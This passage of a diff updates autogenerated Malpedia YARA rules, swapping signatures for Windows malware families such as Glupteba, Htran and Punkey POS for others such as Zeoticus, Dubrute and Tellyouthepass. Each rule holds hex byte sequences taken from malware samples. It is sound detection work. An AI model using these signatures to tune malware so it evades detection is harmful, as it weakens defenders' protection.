$sequence_9 = { 53 55 56 57 33c0 be???????? 6a06 } + $sequence_0 = { 6a00 6a02 8bf9 c785c0fbffff04010000 ff15???????? } + $sequence_1 = { f3a4 ffb5c4fbffff ff15???????? 8d7bfe } + $sequence_2 = { 0f8468ffffff 8d85f4fdffff 50 e8???????? } + $sequence_3 = { c70009000000 ebc5 8bc3 c1f805 8d3c8500490710 8bf3 83e61f } + $sequence_4 = { 8a00 88443dfc 8a5dfd 47 ff4508 } + $sequence_5 = { 33c9 3bc7 0f95c1 894604 8d41ff 8b4dfc 5f } + $sequence_6 = { 394510 7241 6a04 5b 7705 } + $sequence_7 = { 59 8945e0 85c0 7461 8d0cbd00490710 } + $sequence_8 = { 8bff 56 57 33ff ffb7602b0710 } + $sequence_9 = { 6685c9 75f4 8b4dfc 8bfb 8bf0 } condition: - 7 of them and filesize < 429056 + 7 of them and filesize < 1039360 } -rule MALPEDIA_Win_Meow_Auto : FILE +rule MALPEDIA_Win_Zeoticus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8ae50208-eda0-5ebd-a6a9-2e33c00b8273" + id = "e7b44470-c2f9-5eee-bb9d-e8020120bbe3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meow" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.meow_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeoticus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeoticus_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "bb1378303eade72e8b389282cb73ba0dc64a8fed8abbcfd4aff9fb59d7155dea" + logic_hash = "9c3c5f162f682b504ac63e5a0d758fab5141989ce6052830dd9338be25cf4ff1" score = 75 quality = 75 tags = "FILE" @@ -130840,32 +130695,32 @@ rule MALPEDIA_Win_Meow_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c68561ffffff16 c68562ffffff23 c68563ffffff12 c68564ffffff23 c68565ffffff70 c68566ffffff23 } - $sequence_1 = { 8985ccfdffff 85c0 0f8431020000 8b483c 03c8 0fb74118 3b85c4fdffff } - $sequence_2 = { 7431 b802000000 2bc1 0345f0 8945f0 8b45f0 99 } - $sequence_3 = { f7fb 88540df1 41 83f90a 72de 8d45f1 898588feffff } - $sequence_4 = { 33c5 8945fc 53 56 0f57c0 894de8 33f6 } - $sequence_5 = { 83c408 eb35 0fb605???????? b225 50 } - $sequence_6 = { 51 52 e8???????? 83c408 8b8c24f4050000 } - $sequence_7 = { 6849372c4f ba0f000000 8d1c3f e8???????? 83c408 68???????? } - $sequence_8 = { 7415 83e801 0f8595010000 c745e498024300 e9???????? 894de0 } - $sequence_9 = { 8bf7 8d7b75 0f1f4000 8a06 8d7601 0fb6c8 83e953 } + $sequence_0 = { 660f6e9c248c000000 660f62d8 0f29942490000000 660f6e942414010000 660f62ca 660f6e9424a0000000 0f295c2410 } + $sequence_1 = { b9d0fe4bac e8???????? 83c408 a3???????? 6a00 6a00 } + $sequence_2 = { 660feff0 8345f010 0f117710 8345ec10 83c720 0f1002 } + $sequence_3 = { 8d8690101000 8bd7 8d8ee8101000 50 83ec08 e8???????? } + $sequence_4 = { 0f286c2430 660fd4e0 0f29bc2490000000 660f73d03f 660f6eff 660fefe0 660f3a0fdd08 } + $sequence_5 = { 8b842498010000 898424f0000000 8b84249c010000 898424f4000000 8b8424a0010000 898424f8000000 8b8424a4010000 } + $sequence_6 = { 8b4618 314718 8b461c 31471c 8b4620 } + $sequence_7 = { 50 6a00 ff15???????? 85c0 0f84e7000000 33db 33c9 } + $sequence_8 = { 8b7020 03f3 0f1f4000 8b06 bac59d1c81 03c3 } + $sequence_9 = { 0f295c2410 0f28442410 660f62c1 660fd4c6 660f6ec9 660fd4c5 660f62ca } condition: - 7 of them and filesize < 492544 + 7 of them and filesize < 468992 } -rule MALPEDIA_Win_Gacrux_Auto : FILE +rule MALPEDIA_Win_Concealment_Troy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "08e3a0a1-da81-5882-b134-65281af51162" + id = "85d5c577-b8ec-58e5-9740-0a0ca10b0ae9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gacrux" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gacrux_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.concealment_troy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.concealment_troy_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "6278ae90a5acb1d1e22aec25afba6eadcc43cdc1399d5403571d5596bb5e391d" + logic_hash = "b00daac439b94b56b64f9d02955d44b706d6186abc3a4c26b1bfb61dd4d222d0" score = 75 quality = 75 tags = "FILE" @@ -130879,32 +130734,32 @@ rule MALPEDIA_Win_Gacrux_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c9 743c 6548 8b0425???????? 80780201 7428 48 } - $sequence_1 = { 33db e8???????? 48 8bf8 48 85c0 742f } - $sequence_2 = { 3900 75f4 48 63c2 85d2 740a 48 } - $sequence_3 = { 740b 41 81cb00900000 45 895821 40 f6c610 } - $sequence_4 = { e8???????? 4c 8bc3 33d2 48 8bcf ffd0 } - $sequence_5 = { 3c40 755f 41 0fbaea1e 40 8ac7 c0e803 } - $sequence_6 = { 0fb6c3 44 3bc8 0f850f010000 44 0fb66d67 43 } - $sequence_7 = { 75f6 e8???????? 48 83c428 c3 48 } - $sequence_8 = { eb02 33db 8b4c2460 0337 392f 75a5 eb5d } - $sequence_9 = { 83e801 7463 83e801 7457 83e802 744b } + $sequence_0 = { c744244000000000 ff15???????? 85c0 0f844cffffff 8b542424 } + $sequence_1 = { 7530 8b54240c 52 ff15???????? 53 } + $sequence_2 = { 8bc8 83e103 f3a4 8d542418 8d8c2430090000 e8???????? 85c0 } + $sequence_3 = { 3acb 75f6 6804010000 8d8c2424010000 53 } + $sequence_4 = { f3a5 66a5 83c40c a4 8d4c2418 8d642400 8a01 } + $sequence_5 = { 85c0 0f8476ffffff 6a00 6a08 6a00 } + $sequence_6 = { e8???????? 83c414 ebd0 8bc8 c1f905 8d3c8da0774100 } + $sequence_7 = { 8d8c2470050000 68???????? 51 e8???????? 8d842478050000 83c418 8d5001 } + $sequence_8 = { b87c130000 e8???????? a1???????? 33c4 89842478130000 53 } + $sequence_9 = { 52 889c242c010000 e8???????? 6807020000 8d842441090000 53 } condition: - 7 of them and filesize < 122880 + 7 of them and filesize < 229376 } -rule MALPEDIA_Win_Htran_Auto : FILE +rule MALPEDIA_Win_Lowball_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5705bf81-9a36-5bdc-a413-5dc9bbe8f8e2" + id = "54da57b9-ab1c-5339-aa9f-22bb43699408" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.htran" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.htran_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowball" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lowball_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "f4c537d909874a527abd7f69551092957789e48daeb6a5277998dd498c7b0511" + logic_hash = "6556d6fae2a4a8629aa4a1cdf4ec37ace65e626c581801de62deac1b596c79de" score = 75 quality = 75 tags = "FILE" @@ -130918,32 +130773,32 @@ rule MALPEDIA_Win_Htran_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b942430510000 55 52 68???????? e8???????? } - $sequence_1 = { e8???????? 83c404 e9???????? 68???????? e8???????? 8b942430510000 } - $sequence_2 = { 8d3449 8d34b5f09b4000 83c00c 3bc6 7305 } - $sequence_3 = { 68???????? 6a02 e8???????? 8bb42400020000 83c408 83fe02 0f8ef0000000 } - $sequence_4 = { 5e 83c414 c3 6a05 } - $sequence_5 = { 8b8424e0420100 33c9 894c2414 53 8b10 } - $sequence_6 = { ff15???????? 85c0 7d14 68???????? e8???????? 83c404 } - $sequence_7 = { c3 6a00 6a01 6a02 ff15???????? 85c0 } - $sequence_8 = { 8816 46 8a10 40 0fb6da f683c1c3400004 740c } - $sequence_9 = { 899424e8010000 89b424e8000000 899424e4000000 33c0 8d8c24e8000000 } + $sequence_0 = { 85c0 0f848d000000 8d842434070000 68???????? } + $sequence_1 = { 8d4b01 51 e8???????? 56 } + $sequence_2 = { 85f6 89742410 0f84bf000000 8b8c241c020000 } + $sequence_3 = { 6810270000 ff15???????? bf???????? 83c9ff } + $sequence_4 = { 0f840c010000 8b8c2424020000 53 55 55 } + $sequence_5 = { 896c2418 c744242400020000 aa e8???????? 55 } + $sequence_6 = { 84c0 750b 33c0 81c4400e0000 c21000 } + $sequence_7 = { 68???????? e8???????? 83c410 85c0 0f848d000000 8d842434070000 } + $sequence_8 = { 85c0 752d 68b80b0000 ffd3 8d84242c050000 8d8c241c010000 50 } + $sequence_9 = { 8b742420 53 ff15???????? 5b 56 ff15???????? 8b44240c } condition: - 7 of them and filesize < 114688 + 7 of them and filesize < 40960 } -rule MALPEDIA_Win_Glupteba_Auto : FILE +rule MALPEDIA_Win_Shipshape_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f0d5e7d7-1d32-5f42-920b-16ebe0ccac58" + id = "d9d684b1-6d28-5be9-a8dd-2a5e64ca3d0c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.glupteba_auto.yar#L1-L160" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shipshape" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shipshape_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "833c38370ca2666b80daaec86c0f2af9a38d0d465a2faa6f122cd9317cf83227" + logic_hash = "7ccbb1b47c0ba6ada9222b7cb4a37cd39065499a023a5e14e23083e9a19aaeee" score = 75 quality = 75 tags = "FILE" @@ -130957,38 +130812,32 @@ rule MALPEDIA_Win_Glupteba_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 81e680800000 895de4 0bfe 8b75fc c1ee07 c1e709 } - $sequence_1 = { 742f 68???????? 50 c705????????04000000 ff15???????? 833d????????04 } - $sequence_2 = { 83c40c ff750c 66c745f00200 ff15???????? 668945f2 6a10 } - $sequence_3 = { ff15???????? 83c444 ff750c ff7508 e8???????? 8bf0 } - $sequence_4 = { 68???????? 57 895d0c ff15???????? } - $sequence_5 = { 8b4c2404 c1e802 d1e9 0ac1 8ac8 } - $sequence_6 = { 03c0 33c8 8bc1 3500630000 c1e808 33c1 } - $sequence_7 = { 895f04 894f08 83c710 837d0824 897d0c 7285 8bf9 } - $sequence_8 = { 005e3e 46 00ff 3e46 } - $sequence_9 = { 00cd 3e46 005e3e 46 } - $sequence_10 = { 0107 eb4d 8b02 89442418 } - $sequence_11 = { 00ff 3e46 0012 3f } - $sequence_12 = { 0101 03d3 8b4620 8bcb } - $sequence_13 = { 0106 830702 392e 75a0 } - $sequence_14 = { 00f1 3d46005e3e 46 00cd } - $sequence_15 = { 0012 3f 46 008bff558bec } + $sequence_0 = { 8d9424f8010000 c1e902 f3a5 8bc8 } + $sequence_1 = { 83f843 7c55 50 e8???????? } + $sequence_2 = { 8bf7 c1f805 83e61f 8d1c8560d54000 c1e603 } + $sequence_3 = { 83e11f 8b3cbd60d54000 8d3ccf eb05 bf???????? } + $sequence_4 = { f3a5 8bcd 8d942434030000 83e103 f3a4 8dbc2434020000 83c9ff } + $sequence_5 = { 808801c4400008 40 3dff000000 72f1 } + $sequence_6 = { 8bbc2410020000 83c9ff 33c0 8d54240c f2ae } + $sequence_7 = { 55 ff15???????? 5d 5b 81c440060000 c3 56 } + $sequence_8 = { 0f8430010000 8dbc2434010000 83c9ff 33c0 8d9424b4010000 } + $sequence_9 = { 52 50 e8???????? 8b4c241c 8b542418 } condition: - 7 of them and filesize < 1417216 + 7 of them and filesize < 338386 } -rule MALPEDIA_Win_Sagerunex_Auto : FILE +rule MALPEDIA_Win_Lunchmoney_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3bc17e45-f6b5-56f7-b7ea-e25c9e23d339" + id = "ba6c488f-494f-59a0-832f-5ecc104022f8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sagerunex" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sagerunex_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lunchmoney" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lunchmoney_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "da6b189b8ae26a86626e8770a2d7d0803155a13ac9a34b2d4bbc9044c0ab3fcc" + logic_hash = "6300f50e09ecd16cc8482866a3984ff2f46b18e4b4ec53df6a00261299e6917f" score = 75 quality = 75 tags = "FILE" @@ -131002,32 +130851,32 @@ rule MALPEDIA_Win_Sagerunex_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 0fb74b02 4803cb e8???????? 8d7701 ba04010000 e9???????? } - $sequence_1 = { 8bc7 ffc7 3d00010000 0f8f2a030000 488bcb e8???????? 85c0 } - $sequence_2 = { 4156 4157 4881ec60020000 488b05???????? 4833c4 4889842450020000 4d8bf1 } - $sequence_3 = { 448bc3 e8???????? 33c0 c744242801234567 c744242c89abcdef c7442430fedcba98 c744243476543210 } - $sequence_4 = { b801000000 488b8c2490000000 4833cc e8???????? 488b9c24d8000000 4881c4a0000000 5f } - $sequence_5 = { 41b8000c0000 c744247001000000 48ffc3 4889442478 48894580 c744245001000000 4889442458 } - $sequence_6 = { 488bcf 7512 e8???????? 85c0 751e 488d0d6e500300 eb8a } - $sequence_7 = { 4983d300 4d034838 4d3b4838 4d894838 4983d300 4983c040 49ffcf } - $sequence_8 = { f0ff00 488d4128 41b806000000 488d1560db0100 483950f0 740b 488b10 } - $sequence_9 = { 03d8 41bc67666666 41b80d000000 f20f11450a f20f1005???????? 418bc4 4c8d4d90 } + $sequence_0 = { 50 8d4da8 e8???????? 89759c } + $sequence_1 = { 214610 c7461407000000 668906 68???????? c645fc0b e8???????? } + $sequence_2 = { c1e106 8b048550914200 88540804 8b0f } + $sequence_3 = { 3b4e04 7411 57 8bf8 } + $sequence_4 = { 8b9df0efffff 2b7008 037004 6a00 8b049d50914200 5b f644010480 } + $sequence_5 = { e9???????? 8365e500 8d45e4 6a0a 50 57 } + $sequence_6 = { 8b5584 0500040000 41 3bc2 76f6 8bf1 } + $sequence_7 = { 83c410 8b048550914200 3b740128 0f85b9010000 3b54012c 0f85af010000 } + $sequence_8 = { e8???????? 83c430 3c01 0f8584000000 83ec18 } + $sequence_9 = { 85c0 757c 837dec00 7476 8b55f4 8b049550914200 f644180448 } condition: - 7 of them and filesize < 619520 + 7 of them and filesize < 373760 } -rule MALPEDIA_Win_Adhubllka_Auto : FILE +rule MALPEDIA_Win_Snake_Disk_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ad2942ad-0768-5d25-b2fe-1ba7ec43f66b" + id = "86a91047-7721-509e-9428-5943ccd33d29" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.adhubllka" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.adhubllka_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snake_disk" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snake_disk_auto.yar#L1-L93" license_url = "N/A" - logic_hash = "e47f134b0db44fb4d451c84c4568ba6117ac83a59e51548a061c4d0fcde2d289" + logic_hash = "e3a90a61952999ecca57fcbf79005364fd6ba06d48c543b4f3fe48fb8c119e3f" score = 75 quality = 75 tags = "FILE" @@ -131041,32 +130890,30 @@ rule MALPEDIA_Win_Adhubllka_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b45c8 894590 8b45c4 894598 8b45c0 898560ffffff } - $sequence_1 = { 03459c 8bc8 c1c307 334d94 c1c110 03f1 8bd6 } - $sequence_2 = { 33c9 25000f0000 c705????????01000000 3d000f0000 8b45d4 } - $sequence_3 = { c78424a8000000787e4100 c78424ac000000807e4100 c78424b0000000887e4100 c78424b4000000907e4100 } - $sequence_4 = { 8b4b14 894734 83c240 8b45e8 83c640 83e840 } - $sequence_5 = { ffb52cfbffff 56 ffb518fbffff 51 8b8d30fbffff e8???????? } - $sequence_6 = { 56 57 ff15???????? 68???????? 57 ff15???????? 8d85a4fdffff } - $sequence_7 = { 8b3d???????? 8b442410 8b4c2414 8b542418 d1e8 41 83ea01 } - $sequence_8 = { 83ff40 725c 8b45ac 8b4d9c 0f1006 8b559c 0f105610 } - $sequence_9 = { 7707 8b4310 3bd0 730e 8d463f 3bc8 773b } + $sequence_0 = { e8???????? 898558ffffff 85c0 0f84a30b0000 } + $sequence_1 = { e8???????? 898548ffffff 8b08 8b8184010000 8d4db4 898544ffffff 397dac } + $sequence_2 = { e8???????? 898550ffffff 897dbc 3bf8 } + $sequence_3 = { e8???????? 89855cffffff ff7720 e8???????? } + $sequence_4 = { e8???????? 898560ffffff 85c0 0f8410070000 } + $sequence_5 = { e8???????? 898550ffffff 59 59 } + $sequence_6 = { e8???????? 89855cffffff 85c0 7874 } + $sequence_7 = { e8???????? 898550ffffff 85c0 0f84a4000000 } condition: - 7 of them and filesize < 253952 + 7 of them and filesize < 28734464 } -rule MALPEDIA_Win_Breakthrough_Loader_Auto : FILE +rule MALPEDIA_Win_Dubrute_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "52cb4cda-5730-54cc-9d0c-9a1defab8d55" + id = "8b3f57fb-3926-53bd-845a-86ae7ddb65ab" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.breakthrough_loader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.breakthrough_loader_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dubrute" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dubrute_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "4417981ceb1c9a0093d9616e44b7782cd49e18f4737822a85a59217b8658f0b2" + logic_hash = "15ef5a601ee94177845777a653e057c97a84bc2521287b368cd711d048d0bf0d" score = 75 quality = 75 tags = "FILE" @@ -131080,32 +130927,32 @@ rule MALPEDIA_Win_Breakthrough_Loader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb06 8b3d???????? 8b4df4 85c9 7403 } - $sequence_1 = { 50 57 ff15???????? 85c0 740a ba???????? e8???????? } - $sequence_2 = { 83c408 83f8ff 742a 8b75f8 8bce 8935???????? } - $sequence_3 = { ff5220 83e800 7412 83e801 7411 8b4c2424 } - $sequence_4 = { 56 57 8965f0 8955dc bb???????? 895de4 33ff } - $sequence_5 = { 7408 8b10 8bc8 6a01 ff12 5f 5e } - $sequence_6 = { 8b048540354500 f644012880 745d 8d45d8 50 ff75e4 ff15???????? } - $sequence_7 = { 85c0 7fb4 837dc810 8d4db4 0f434db4 33c0 } - $sequence_8 = { ff75e4 e8???????? 8b7508 c746140f000000 } - $sequence_9 = { 895de4 8b049d40354500 8945d4 8955e8 8a5c1029 } + $sequence_0 = { ff15???????? 8d85d0fcffff bfff000000 50 57 ff15???????? 8d85d0fcffff } + $sequence_1 = { ff7514 8b8674090000 ff7510 ff750c ff7008 e8???????? 83c410 } + $sequence_2 = { 55 8bec 83ec24 56 57 6a0c 8d45f4 } + $sequence_3 = { 395008 7510 8b4808 3bca 7c09 83f907 7f04 } + $sequence_4 = { e9???????? 8d45fc 50 53 e8???????? 59 85c0 } + $sequence_5 = { 8b8040000100 83b81804000000 741e 837df800 7418 83b80c04000008 7e0f } + $sequence_6 = { 894508 8d8564ffffff 6a01 50 8d4dc8 ff15???????? db4508 } + $sequence_7 = { ff7508 50 e8???????? 8bf0 8d7de8 } + $sequence_8 = { 8bf0 8d7df0 a5 a5 a5 8b75f0 83c43c } + $sequence_9 = { 0f8cce000000 83650800 837f0400 8b7510 bb???????? 7e70 8b07 } condition: - 7 of them and filesize < 753664 + 7 of them and filesize < 598016 } -rule MALPEDIA_Win_Punkey_Pos_Auto : FILE +rule MALPEDIA_Win_Deltas_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "558f1792-1bb2-5d9b-859d-0b6382b27ab5" + id = "71773355-27de-50f9-b937-a4b31a08be87" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.punkey_pos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.punkey_pos_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deltas" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deltas_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "a4ee7826b83e8d1ab2e9aee9c2a1f21a3ae3a3b9d6fb52555b83791b8ed2dd78" + logic_hash = "110bf37db48ce7c93aacf644fe14f61a7699258651c7d440500f0fe2335e7ad7" score = 75 quality = 75 tags = "FILE" @@ -131119,32 +130966,32 @@ rule MALPEDIA_Win_Punkey_Pos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff05???????? 8b0d???????? 56 57 6a00 51 ff15???????? } - $sequence_1 = { 56 ffd7 a3???????? 85c0 74ae 5f b801000000 } - $sequence_2 = { 68e7070000 50 ff15???????? ff05???????? } - $sequence_3 = { 741d a1???????? 85c0 740e 56 57 68e7070000 } - $sequence_4 = { ffd7 a3???????? 85c0 74ae 5f b801000000 } - $sequence_5 = { 50 a1???????? 50 ff15???????? 5d c20c00 } - $sequence_6 = { 85c0 7919 8b4d10 8b550c } - $sequence_7 = { a3???????? 85c0 74ae 5f b801000000 } - $sequence_8 = { ff15???????? c705????????00000000 c3 3b0d???????? 7502 f3c3 e9???????? } - $sequence_9 = { 56 57 68e7070000 50 ff15???????? ff05???????? } + $sequence_0 = { 55 56 8bf1 57 b940000000 33c0 } + $sequence_1 = { 55 53 ff15???????? 85c0 7419 } + $sequence_2 = { 66ab 8d8c247c010000 6804010000 51 c64424146d } + $sequence_3 = { eb45 8b8c249c000000 8d442454 8d7c2454 bd10000000 8d7102 } + $sequence_4 = { 85c0 0f8485010000 8b9884000000 8b8888000000 81c38c000000 83f906 0f8733010000 } + $sequence_5 = { c1ef14 c1e10c 0bf9 8b4828 03fe 894c2438 8bcf } + $sequence_6 = { 8b7824 03f3 897c241c 8bfe 23ee f7d7 } + $sequence_7 = { 88442423 8d442408 b164 b261 50 c644240c6b c644240e72 } + $sequence_8 = { 3bc3 7413 8d542438 52 8b542444 53 53 } + $sequence_9 = { 750e 8d4c2464 51 ffd6 898424c0000000 8d9424b0000000 52 } condition: - 7 of them and filesize < 499712 + 7 of them and filesize < 90112 } -rule MALPEDIA_Win_Moonwind_Auto : FILE +rule MALPEDIA_Win_Iispy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b9622b32-c792-5aeb-a059-5721d1f27a2f" + id = "4e322e5f-cd33-52bd-bbf3-6439753e827c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonwind" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moonwind_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.iispy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.iispy_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "6d3886946e413d262cc391b5e8605e5201d1334018954f9d8c7fe7ffb4921df3" + logic_hash = "a87fdac5aecf4afd1bb012fec4f493869a7cd5fec753856e83872c6436c79acf" score = 75 quality = 75 tags = "FILE" @@ -131158,32 +131005,32 @@ rule MALPEDIA_Win_Moonwind_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { b90f000000 f3ab 83c308 b800000000 } - $sequence_1 = { 83c404 03d8 895dec 8965e8 6828000000 8b45f0 50 } - $sequence_2 = { 3965a8 740d 6806000000 e8???????? 83c404 50 8b5da4 } - $sequence_3 = { 83c404 8b45ec 50 8b1d???????? 85db 7409 53 } - $sequence_4 = { e8???????? 83c428 8945ac 8b45ac 50 8b5dd8 53 } - $sequence_5 = { 68000000c0 ff750c e8???????? a3???????? 833d????????ff 0f84b2000000 e8???????? } - $sequence_6 = { 6824000000 e8???????? 83c404 a3???????? 8bd8 8bf8 } - $sequence_7 = { 8b5d08 8b1b 83c304 895dfc 8965f8 6805000000 8b5dfc } - $sequence_8 = { 53 8903 8bd8 c70300000000 c7430400000000 5b 8b5d08 } - $sequence_9 = { 51 8d542478 8944247c 6a00 52 40 6a00 } + $sequence_0 = { e8???????? 837c242400 8bf8 740c ff742428 e8???????? 83c404 } + $sequence_1 = { 03d8 eb49 b8d34d6210 f7e3 8bca 8b5514 c1e906 } + $sequence_2 = { 50 8d4110 50 8d4129 50 } + $sequence_3 = { 8b048528cf0210 0fb6440828 83e040 5d c3 e8???????? c70009000000 } + $sequence_4 = { 84c0 0f8429010000 8b4c2408 83c620 8b01 c1e005 } + $sequence_5 = { b81f85eb51 f7eb 5f c1fa05 8bca c1e91f 03ca } + $sequence_6 = { 6a01 53 ff15???????? ebe0 b80d000780 5f 5e } + $sequence_7 = { 68000000c0 57 ff15???????? 8bf8 83ffff 74c5 8b4dec } + $sequence_8 = { 3245f0 32ec 3245e4 3245e0 3245e8 3245d0 3245ff } + $sequence_9 = { 50 e8???????? 83a628cf021000 59 83c604 81fe00020000 72dd } condition: - 7 of them and filesize < 1417216 + 7 of them and filesize < 397312 } -rule MALPEDIA_Win_Playwork_Auto : FILE +rule MALPEDIA_Win_Tellyouthepass_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "253bcdde-b9c7-5158-90ca-b4dcc36f9889" + id = "354e0e6c-ccce-5215-81be-86e86c2d035f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.playwork" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.playwork_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tellyouthepass" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tellyouthepass_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "93e0526e64b6e0ff6fb1dc40df8f238384033948c1e004d69238a8eee94e726f" + logic_hash = "dc25f522d82a6df0aaae3de9d80ac3b6a17f46baeb51d065b8c3d1eda2c481dc" score = 75 quality = 75 tags = "FILE" @@ -131197,32 +131044,32 @@ rule MALPEDIA_Win_Playwork_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 59 8945f0 0f84d4010000 8d4df4 } - $sequence_1 = { eb02 32db 8ac3 8acb c0e807 d0e1 } - $sequence_2 = { 57 8d857ce9ffff 56 50 6800004004 8d4de0 ff7510 } - $sequence_3 = { 8bd0 8d85e8afffff 50 8955ec ffd3 8b4dec } - $sequence_4 = { 53 50 8d4510 6a08 50 57 ffd6 } - $sequence_5 = { c1eb18 330c95344b3f00 8b55e0 8b349d34573f00 c1ea10 } - $sequence_6 = { 50 8d85b8ebffff 68???????? 50 e8???????? 83c444 8d85b8ebffff } - $sequence_7 = { e8???????? 8b45fc 83c40c 668b4008 50 ff15???????? 0fb7c0 } - $sequence_8 = { a4 284405c8 40 83f822 7cf6 } - $sequence_9 = { 8bce 8975e8 c1e918 8b3c8d34573f00 8b4de0 333c9534533f00 } + $sequence_0 = { 488b0d???????? eb0a 488b4c2448 488b5c2420 48894c2440 48895c2428 488d050b4e1000 } + $sequence_1 = { 4d85c0 7f1d 488b8c24f0000000 488b9424f8000000 